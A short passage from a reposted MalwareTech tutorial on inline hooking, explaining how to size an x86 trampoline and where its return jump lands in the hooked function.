bytes and the second is 16 (the maximum length of an x86 instruction), we must store 20 bytes (4 + 16), meaning our trampoline must be 25 bytes in size (space for up to 20 bytes worth of instructions and a 5 byte jump back to the hooked function). It's important to note that the return jump must jump to the hooked function n bytes in, where n is however many instructions we stored in the trampoline. Sursa: Inline Hooking for Programmers (Part 1: Introduction) | MalwareTech